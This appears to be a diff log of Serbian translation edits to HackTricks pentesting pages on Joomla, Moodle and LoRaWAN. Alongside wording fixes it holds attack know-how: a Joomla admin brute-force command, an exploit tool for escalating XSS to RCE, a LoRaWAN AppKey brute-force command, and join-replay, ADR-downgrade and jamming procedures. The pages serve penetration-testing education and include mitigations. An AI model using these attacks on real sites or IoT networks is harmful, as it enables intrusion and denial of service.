- Obratite pažnju u sledećem delu kako **Falco kompajlira kernel modul i umetne ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je detektovao 2 privilegovana kontejnera koja su pokrenuta, jedan od njih sa osetljivim montiranjem, i nakon nekoliko sekundi je detektovao kako je shell otvoren unutar jednog od kontejnera.

View File

@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Verzija
@ -73,7 +73,7 @@ droopescan scan joomla --url http://joomla-site.local/
```
U[ **80,443 - Pentesting Web Methodology je sekcija o CMS skenerima**](#cms-scanners) koji mogu skenirati Joomla.
### API Neautentifikovana Otkrića Informacija:
### API Neautentifikovana Otkrivanje Informacija:
Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije.
@ -84,7 +84,7 @@ Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija
### Brute-Force
Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate brute force prijavu.
Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate da brute force-ujete prijavu.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -106,7 +106,7 @@ Ako ste uspeli da dobijete **admin kredencijale**, možete **RCE unutar njega**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla skripta za eksploataciju koja **povećava XSS na RCE ili druge kritične ranjivosti**. Za više informacija pogledajte [**ovaj post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Joomla verzije 5.X.X, 4.X.X i 3.X.X, i omogućava:**
- _**Povećanje privilegija:**_ Kreira korisnika u Joomli.
- _**(RCE) Uređivanje ugrađenih tema:**_ Uređuje ugrađene teme u Joomli.
- _**(Prilagođeni) Prilagođene eksploatacije:**_ Prilagođene eksploatacije za dodatke trećih strana za Joomlu.
- _**(Custom) Prilagođene eksploatacije:**_ Prilagođene eksploatacije za dodatke trećih strana za Joomlu.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Automatske skeniranja
## Automatske Skeniranja
### droopescan
```bash
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```

View File

@ -4,7 +4,7 @@
## Introduction
**Low-Power Wide Area Network** (LPWAN) je grupa bežičnih, niskopotrošnih, širokopojasnih mrežnih tehnologija dizajniranih za **dugometražne komunikacije** sa niskom brzinom prenosa podataka.
**Low-Power Wide Area Network** (LPWAN) je grupa bežičnih, niskopotrošnih, širokopojasnih mrežnih tehnologija dizajniranih za **dugometražne komunikacije** pri niskoj brzini prenosa podataka.
Mogu dostići više od **šest milja** i njihove **baterije** mogu trajati do **20 godina**.
Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a njegova otvorena MAC-sloj specifikacija je **LoRaWAN**.
@ -14,7 +14,7 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj
## LPWAN, LoRa, i LoRaWAN
* LoRa Chirp Spread Spectrum (CSS) fizički sloj razvijen od strane Semtech (vlasnički, ali dokumentovan).
* LoRaWAN Otvoreni MAC/mrežni sloj koji održava LoRa-Alliance. Verzije 1.0.x i 1.1 su uobičajene na terenu.
* LoRaWAN Otvoreni MAC/mrežni sloj koji održava LoRa-Alliance. Verzije 1.0.x i 1.1 su uobičajene u praksi.
* Tipična arhitektura: *kraj uređaja → prolaznik (packet-forwarder) → mrežni server → aplikacioni server*.
> **Model bezbednosti** se oslanja na dva AES-128 korenska ključa (AppKey/NwkKey) koja izvode sesijske ključeve tokom *join* procedure (OTAA) ili su hard-kodirani (ABP). Ako bilo koji ključ procuri, napadač dobija potpunu mogućnost čitanja/pisanja nad odgovarajućim saobraćajem.
@ -26,7 +26,7 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj
| Sloj | Slabost | Praktični uticaj |
|-------|----------|------------------|
| PHY | Reaktivno / selektivno ometanje | 100 % gubitak paketa demonstriran sa jednim SDR i <1 W izlazom |
| MAC | Join-Accept & ponavljanje podataka (ponovna upotreba nonce, ABP counter rollover) | Lažno predstavljanje uređaja, injekcija poruka, DoS |
| MAC | Join-Accept & ponavljanje podataka (ponovna upotreba nonce, ABP preklapanje brojača) | Lažno predstavljanje uređaja, injekcija poruka, DoS |
| Mrežni server | Nesiguran packet-forwarder, slabi MQTT/UDP filteri, zastarela firmware prolaznika | RCE na prolaznicima → pivot u OT/IT mrežu |
| Aplikacija | Hard-kodirani ili predvidljivi AppKeys | Brute-force/dekripcija saobraćaja, lažno predstavljanje senzora |
@ -35,8 +35,8 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj
## Nedavne ranjivosti (2023-2025)
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* prihvatao TCP pakete koji su zaobišli pravila stanja vatrozida na Kerlink prolaznicima, omogućavajući izlaganje udaljenog upravljačkog interfejsa. Ispravljeno u 4.0.11 / 4.2.1.
* **Dragino LG01/LG308 serija** Više CVE-a iz 2022-2024 (npr. 2022-45227 prolaz kroz direktorijum, 2022-45228 CSRF) još uvek primećeni bez zakrpa 2025; omogućava neautentifikovano preuzimanje firmware-a ili prepisivanje konfiguracije na hiljadama javnih prolaznika.
* Semtech *packet-forwarder UDP* prelivanje (neobjavljeno obaveštenje, zakrpljeno 2023-10): kreirani uplink veći od 255 B izazvao stack-smash > RCE na SX130x referentnim prolaznicima (otkriveno na Black Hat EU 2023 “LoRa Exploitation Reloaded”).
* **Dragino LG01/LG308 serija** Više CVE-a iz 2022-2024 (npr. 2022-45227 pretraga direktorijuma, 2022-45228 CSRF) još uvek primećeni bez zakrpa 2025; omogućava neautentifikovano preuzimanje firmware-a ili prepisivanje konfiguracije na hiljadama javnih prolaznika.
* Semtech *packet-forwarder UDP* preliv (neobjavljeno obaveštenje, zakrpljeno 2023-10): kreirani uplink veći od 255 B izazvao stack-smash > RCE na SX130x referentnim prolaznicima (otkriveno na Black Hat EU 2023 “LoRa Exploitation Reloaded”).
---
@ -55,11 +55,11 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
1. Zabeležite legitimni **JoinRequest**.
2. Odmah ga ponovo prenesite (ili povećajte RSSI) pre nego što originalni uređaj ponovo prenese.
3. Mrežni server dodeljuje novu DevAddr i sesijske ključeve dok ciljni uređaj nastavlja sa starom sesijom → napadač poseduje praznu sesiju i može da ubaci lažne uplinke.
3. Mrežni server dodeljuje novu DevAddr i sesijske ključeve dok ciljni uređaj nastavlja sa starom sesijom → napadač poseduje praznu sesiju i može da ubaci lažne uplink-ove.
### 3. Smanjenje adaptivnog protoka podataka (ADR)
Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaza (usluga uskraćivanja) dok održavate mali uticaj na bateriju napadača (samo šaljite MAC komande na mrežnom nivou).
Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus gateway-a (usluga uskraćivanja) dok održavate mali uticaj na bateriju napadača (samo šaljite MAC komande na mrežnom nivou).
### 4. Reaktivno ometanje
@ -72,9 +72,9 @@ Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaz
| Alat | Svrha | Napomene |
|------|---------|-------|
| **LoRaWAN Auditing Framework (LAF)** | Kreiranje/parsiranje/napad na LoRaWAN okvire, analitičari sa DB podrškom, brute-forcer | Docker slika, podržava Semtech UDP ulaz |
| **LoRaPWN** | Trend Micro Python alat za brute OTAA, generisanje downlink-ova, dešifrovanje tereta | Demo objavljen 2023, SDR-agnostičan |
| **LoRaPWN** | Trend Micro Python alat za brute OTAA, generisanje downlink-ova, dešifrovanje payload-ova | Demo objavljen 2023, SDR-agnostičan |
| **LoRAttack** | Multi-kanalni sniffer + ponovna reprodukcija sa USRP; izvozi PCAP/LoRaTap | Dobra integracija sa Wireshark-om |
| **gr-lora / gr-lorawan** | GNU Radio OOT blokovi za osnovni TX/RX | Osnova za prilagođene napade |
| **gr-lora / gr-lorawan** | GNU Radio OOT blokovi za bazni prenos/primanje | Osnova za prilagođene napade |
---
@ -85,11 +85,11 @@ Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaz
3. Čuvajte brojač okvira u nevolatilnoj memoriji (**ABP**) ili migrirajte na OTAA.
4. Implementirajte **secure-element** (ATECC608A/SX1262-TRX-SE) da zaštitite korenske ključeve od ekstrakcije firmvera.
5. Onemogućite udaljene UDP portove za prosleđivanje paketa (1700/1701) ili ih ograničite sa WireGuard/VPN.
6. Održavajte prolaze ažuriranim; Kerlink/Dragino pružaju slike sa zakrpama iz 2024.
7. Implementirajte **otkrivanje anomalija u saobraćaju** (npr. LAF analitičar) označite resetovanja brojača, duplikate pridruživanja, iznenadne promene ADR-a.
6. Održavajte gateway-e ažuriranim; Kerlink/Dragino pružaju slike sa zakrpama iz 2024.
7. Implementirajte **otkrivanje anomalija u saobraćaju** (npr. LAF analitičar) označite resetovanje brojača, duple join-ove, nagle promene ADR-a.
## Reference
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf
* Trend Micro LoRaPWN pregled https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWN pregled [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}